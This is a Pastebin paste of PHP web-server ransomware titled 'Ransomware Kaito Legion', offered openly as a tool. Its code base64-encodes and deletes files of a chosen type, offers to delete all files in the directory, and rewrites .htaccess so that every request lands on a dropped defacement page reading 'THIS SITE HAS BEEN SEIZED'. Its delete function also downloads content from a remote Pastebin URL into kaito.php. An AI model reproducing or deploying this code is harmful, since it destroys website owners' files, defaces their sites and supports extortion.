Advertisement
kaitolegion

Ransomware Kaito Legion

Dec 6th, 2019
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.19 KB | None | 0 0
  1. <?php
  2. echo '
  3. <html>
  4. <head>
  5. <title>Ransomware By Mr.KaitoX</title>
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <link href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.css" rel="stylesheet"/>
  8. <link href="https://cdn.jsdelivr.net/sweetalert2/6.4.3/sweetalert2.min.css" rel="stylesheet"/>
  9. <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.2/jquery.min.js">
  10. </script>
  11. <script src="https://cdn.jsdelivr.net/sweetalert2/latest/sweetalert2.js">
  12. </script>
  13. <script src="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.js">
  14. </script>
  15. <style>
  16. body {
  17. background-color:black;
  18. margin:0;
  19. padding:0;
  20. }
  21.  
  22. h1 {
  23. color:white;
  24. font-family:courier new;
  25. margin-top:10px;
  26. }
  27.  
  28. input[type=text] {
  29. background-color:white;
  30. outline:none;
  31. padding:10px;
  32. margin-top:10px;
  33. border:2px inset lime;
  34. }
  35.  
  36. input[type=submit] {
  37. background-color:lime;
  38. outline:none;
  39. padding:10px;
  40. width:100px;
  41. margin-top:10px;
  42. font-family:courier new;
  43. font-weight:bold;
  44. border:2px inset lime;
  45. }
  46.  
  47. .del input[type=submit] {
  48. background-color:red;
  49. outline:none;
  50. padding:10px;
  51. width:205px;
  52. color:white;
  53. margin-top:10px;
  54. border:2px inset red;
  55.  
  56. }
  57.  
  58. input[type=submit]:hover {
  59. background-color:transparent;
  60. color:white;
  61. }
  62.  
  63. </style>
  64. </head>
  65. <body>
  66. <center>
  67. <h1>WannaCry RansomWare</h1>
  68. <form method="POST" action="">
  69. <input type="text" name="key" placeholder="Enter Key or Password"><br>
  70. <input type="text" name="type" placeholder="Type : *, html, php"><br>
  71.  
  72. <input type="submit" name="encrypt" value="Encrypt">
  73. <input type="submit" name="decrypt" value="Decrypt"><br>
  74. <div class="del">
  75. <input type="submit" name="zip" value="Zip All Files"><br>
  76. <input type="submit" name="delete" value="Delete All Files">
  77. <input type="submit" name="about" value="About">
  78. </div>
  79. </form>
  80. </center>
  81.  
  82. </body>
  83. </html>
  84. ';
  85.  
  86. # --------------------- #
  87.  
  88.  
  89. $pass = $_POST['key'];
  90. $type = $_POST['type'];
  91.  
  92. encrypt($type, $pass);
  93.  
  94.  
  95.  
  96. # -----------About---------- #
  97.  
  98. if ($_POST['about']){
  99. echo "<script>swal('SweetCorn','Penge Girlfriend')</script>";
  100. }
  101. # -----------Delete---------- #
  102.  
  103. if ($_POST['delete']){
  104. delete();
  105. }
  106.  
  107. function delete(){
  108. echo "
  109. <script>
  110. swal({
  111. title: 'Files Has Been Deleted',
  112. text: 'Your will not be able to recover this file!',
  113. type: 'warning'
  114. });
  115. </script>".deleted();
  116.  
  117. }
  118.  
  119. function deleted(){
  120. $file = glob("*.*");
  121. foreach($file as $file){
  122. $locked = file_get_contents("https://pastebin.com/raw/AC79rSFz");
  123. unlink($file);
  124. fwrite(fopen('kaito.php','w'), $locked);
  125. }
  126. }
  127.  
  128. # -----------Zipper---------- #
  129. if ($_POST['zip']){
  130. $file = glob("*.*");
  131. $zipname = 'Files.zip';
  132. $zip = new ZipArchive;
  133. $zip->open($zipname, ZipArchive::CREATE);
  134. foreach ($file as $file) {
  135. $zip->addFile($file);
  136. }
  137. $zip->close();
  138. echo "<script>swal('Zip Files Successfully','','success')</script>";
  139. }
  140.  
  141.  
  142.  
  143. function encrypt($type, $pass){
  144.  
  145. # -----------Encrypt---------- #
  146. if(!empty($_POST['encrypt'])){
  147. $fileList = glob("*.$type");
  148. foreach($fileList as $file){
  149. $x = file_get_contents($file);
  150. $o = base64_encode($x);
  151. $fck=base64_encode($pass);
  152. $c=$x;
  153. $w="$c";
  154. $open=fopen("$file.encrypted", "w");
  155. fwrite($open,"<?php"."\n");
  156. fwrite($open,'$code='."'$o'".";\n");
  157. fwrite($open,'$lol='."'$fck'".";\n");
  158. fwrite($open,"?>");
  159. fclose($open);
  160. unlink($file);
  161. }
  162. if (!empty($type || $pass)) {
  163. fwrite(fopen('LOCKED.php','w'), $x);
  164. fwrite(fopen('.htaccess','w'), "#Kaito_was_here
  165. DirectoryIndex x.php
  166. ErrorDocument 404 /x.php
  167. ");
  168. $dp = base64_decode('PGh0bWw+Cgo8aGVhZD4KCjx0aXRsZT5Mb2NrZWQ8L3RpdGxlPgo8L2hlYWQ+Cgo8Ym9keSBiZ2NvbG9yPSJibGFjayI+Cgo8Ym9keSBvbmNsaWNrbWVudT0icmV0dXJuIGZhbHNlOyIgb25jb250ZXh0bWVudT0icmV0dXJuIGZhbHNlOyIgb25tb3VzZWRvd249InJldHVybiBmYWxzZTsiPgoKCTxjZW50ZXI+CgoJCTxpbWcgc3JjPSJodHRwczovL3Njb250ZW50LmZtbmw0LTQuZm5hLmZiY2RuLm5ldC92L3QxLjAtOS9wOTYweDk2MC83NTQxODk1OF8xNDg4MzU5NDMxODE5MDBfNTg1MzczNzk3NzE0NTk4Mjk3Nl9vLmpwZz9fbmNfY2F0PTEwOCZfbmNfZXVpMj1BZUhZdGppdHgycXNCLVJ1NTVWdEtqZUJYVFhXaWR0MVhfZDZXaFF0cWcwRUFpRlhVSXB2NTUxTU1kanMwbXFQakdZSlNtRms3dG9FY3FQek9FME9wTHZuaklBU1BxTkREazh0Wkc0REJDUTU4dyZfbmNfb2hjPWp6cVpjX1V6RkY0QVFtbllXUmpjVVFaRkRSU2J4UlZvY0ZMU3libTcxY1pfOWxxNDlHUEZIMXp3ZyZfbmNfaHQ9c2NvbnRlbnQuZm1ubDQtNC5mbmEmb2g9NzQwOWQzNmZkM2UwNGVjMzkyNDZkZTVjN2MyN2FlN2Ymb2U9NUU4ODI3NkQiIHdpZHRoPSIzMDAiIGhlaWdodD0iMzAwIj4KCQk8YnI+CgoJCTwhLS0tLS0tLS0tLS1TSE9SVCBNRVNTQUdFLS0tLS0tLS0tLS0tLS0+Cgo8bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9Q29kYStDYXB0aW9uOjgwMCZkaXNwbGF5PXN3YXAiIHJlbD0ic3R5bGVzaGVldCI+CgoJPGZvbnQgY29sb3I9InJlZCIgZm9udCBzaXplPSI5IiBmb250IGZhY2U9IkNvZGEgQ2FwdGlvbgoKIj5USElTIFNJVEUgSEFTIEJFRU4gU0VJWkVEPGJyPjxicj48Zm9udCBjb2xvcj0id2hpdGUiIGZvbnQgc2l6ZT0iNCIgZm9udCBmYWNlPSJDb2RhIENhcHRpb24iPlRoZTxmb250IGNvbG9yPSJyZWQiPiBGb3VuZGVyPC9mb250PiBvZiBQaW5veSBSb290U2VjIFNheXMuIFlvdXIgU2l0ZSB3YXMgd2l0bmVzc2VkIGJ5IG91ciB0ZWFtIHdlJ3JlIGp1c3QgcGxheWluZyBoZXJlIGluIGN5YmVyc3BhY2UgdG8gZ2V0IGtub3cgZXZlcnlvbmUgYXMgd2VsbCBhbHNvIHlvdXIgZGV2ZWxvcGVyIHRvIGltcHJvdmUgdGhlaXIgc2VjdXJpdHkgYXMgcG9zc2libGUsIHdlIGFyZSBub3QgYSBiYWQgcGVyc29uIGJ1dCB3ZSBhcmUgYW4gZXRoaWNhbCBoYWNrZXJzLgo8IS0tLS0tLS0tLS0tLS0tLS0tRU5ELS0tLS0tLS0tLS0tLS0tLS0tLS0+CjwvZm9udD4KCjwvZm9udD4KCjwvY2VudGVyPgoKPC9ib2R5PgoKPC9ib2R5PgoKPC9oZWFkPgoKPC9odG1sPgoKPC9oZWFkPgoKPC9odG1sPg==');
  169. fwrite(fopen('x.php','w'), $dp);
  170. echo "<script>swal('Successfully Encrypted!','','success');</script>";
  171. } else {
  172. echo "<script>swal('Empty Input Please try again :<');</script>";
  173. }}
  174.  
  175. # ----------Decrypt----------- #
  176. if($_POST['decrypt']){
  177. $fileList = glob("*.encrypted");
  178. foreach($fileList as $file){
  179. $z=file_get_contents($file);
  180. include "$file";
  181. $x = base64_decode($lol);
  182. if($pass === "$x"){
  183. $c=base64_decode($code);
  184. $output="$c";
  185. $b = str_replace(".encrypted","",$file);
  186. $open=fopen("$b", "w");
  187. fwrite($open, $output);
  188. fclose($open);
  189. unlink($file);
  190. echo "<script>alert('Successfully Decrypt! :)');</script>";
  191. } else{
  192. echo "<script>alert('Wrong Password!');</script>";
  193.  
  194. }}}
  195.  
  196. }
  197.  
  198.  
  199.  
  200. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement